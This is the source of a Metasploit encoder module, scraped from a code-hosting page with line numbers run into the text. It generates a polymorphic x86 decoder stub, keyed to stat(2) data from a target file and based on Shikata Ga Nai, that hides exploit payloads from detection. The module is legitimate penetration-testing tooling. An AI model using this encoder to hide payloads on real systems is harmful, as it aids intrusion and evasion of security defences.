Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/context_stat.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/poly'67class MetasploitModule < Msf::Encoder::XorAdditiveFeedback89# Manual ranking because the stat(2) key is generated and supplied10# manually.1112Rank = ManualRanking1314def initialize15super(16'Name' => 'stat(2)-based Context Keyed Payload Encoder',17'Description' => %q{18This is a Context-Keyed Payload Encoder based on stat(2)19and Shikata Ga Nai.20},21'Author' => 'Dimitris Glynos',22'Arch' => ARCH_X86,23'License' => MSF_LICENSE,24'Decoder' =>25{26'KeySize' => 4,27'BlockSize' => 428})2930register_options(31[32OptString.new('STAT_KEY', [ true,33"STAT key from target host (see tools/context/stat-key utility)",34"0x00000000" ]),35OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]),36])37end3839def obtain_key(buf, badchars, state)40state.key = datastore['STAT_KEY'].hex41return state.key42end4344#45# Generates the shikata decoder stub.46#47def decoder_stub(state)48# If the decoder stub has not already been generated for this state, do49# it now. The decoder stub method may be called more than once.50if (state.decoder_stub == nil)51# Shikata will only cut off the last 1-4 bytes of it's own end52# depending on the alignment of the original buffer53cutoff = 4 - (state.buf.length & 3)54block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)5556# Take the last 1-4 bytes of shikata and prepend them to the buffer57# that is going to be encoded to make it align on a 4-byte boundary.58state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf5960# Cache this decoder stub. The reason we cache the decoder stub is61# because we need to ensure that the same stub is returned every time62# for a given encoder state.63state.decoder_stub = block64end6566state.decoder_stub67end6869protected70def keygen_stub71fname = datastore['STAT_FILE']72flen = fname.length7374payload =75"\xd9\xee" + # fldz76"\xd9\x74\x24\xf4" + # fnstenv -0xc(%esp)77"\x5b" + # pop %ebx78Rex::Arch::X86.jmp_short(flen) + # jmp over79fname + # the filename80"\x83\xc3\x09" + # over: add $9, %ebx81"\x8d\x53" + # lea filelen(%ebx), %edx82Rex::Arch::X86.pack_lsb(flen) + #83"\x31\xc0" + # xor %eax,%eax84"\x88\x02" + # mov %al,(%edx)85"\x8d\x4c\x24\xa8" + # lea -0x58(%esp),%ecx86"\xb0\xc3" + # mov $0xc3, %al87"\xcd\x80" + # int $0x8088"\x8b\x41\x2c" + # mov 0x2c(%ecx),%eax89"\x33\x41\x48" # xor 0x48(%ecx),%eax90end9192#93# Returns the set of FPU instructions that can be used for the FPU block of94# the decoder stub.95#96def fpu_instructions97fpus = []98990xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }1000xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }1010xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }1020xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }1030xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }104105fpus << "\xd9\xd0"106fpus << "\xd9\xe1"107fpus << "\xd9\xf6"108fpus << "\xd9\xf7"109fpus << "\xd9\xe5"110111# This FPU instruction seems to fail consistently on Linux112#fpus << "\xdb\xe1"113114fpus115end116117#118# Returns a polymorphic decoder stub that is capable of decoding a buffer119# of the supplied length and encodes the last cutoff bytes of itself.120#121def generate_shikata_block(state, length, cutoff)122# Declare logical registers123key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')124count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')125addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')126127# Declare individual blocks128endb = Rex::Poly::SymbolicBlock::End.new129130# FPU blocks131fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)132fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")133134# Get EIP off the stack135popeip = Rex::Poly::LogicalBlock.new('popeip',136Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })137138# Clear the counter register139clear_register = Rex::Poly::LogicalBlock.new('clear_register',140"\x31\xc9",141"\x29\xc9",142"\x33\xc9",143"\x2b\xc9")144145# Initialize the counter after zeroing it146init_counter = Rex::Poly::LogicalBlock.new('init_counter')147148# Divide the length by four but ensure that it aligns on a block size149# boundary (4 byte).150length += 4 + (4 - (length & 3)) & 3151length /= 4152153if (length <= 255)154init_counter.add_perm("\xb1" + [ length ].pack('C'))155else156init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))157end158159# Key initialization block160161# Decoder loop block162loop_block = Rex::Poly::LogicalBlock.new('loop_block')163164xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }165xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }166xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }167add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }168add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }169add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }170sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }171add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }172173loop_block.add_perm(174Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },175Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },176Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },177Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },178Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },179Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })180181# Loop instruction block182loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',183"\xe2\xf5")184185# Define block dependencies186fnstenv.depends_on(fpu)187popeip.depends_on(fnstenv)188init_counter.depends_on(clear_register)189loop_block.depends_on(popeip, init_counter)190loop_inst.depends_on(loop_block)191192# Generate a permutation saving the EAX, ECX and ESP registers193loop_inst.generate([194Rex::Arch::X86::EAX,195Rex::Arch::X86::ESP,196Rex::Arch::X86::ECX ], nil, state.badchars)197end198end199200201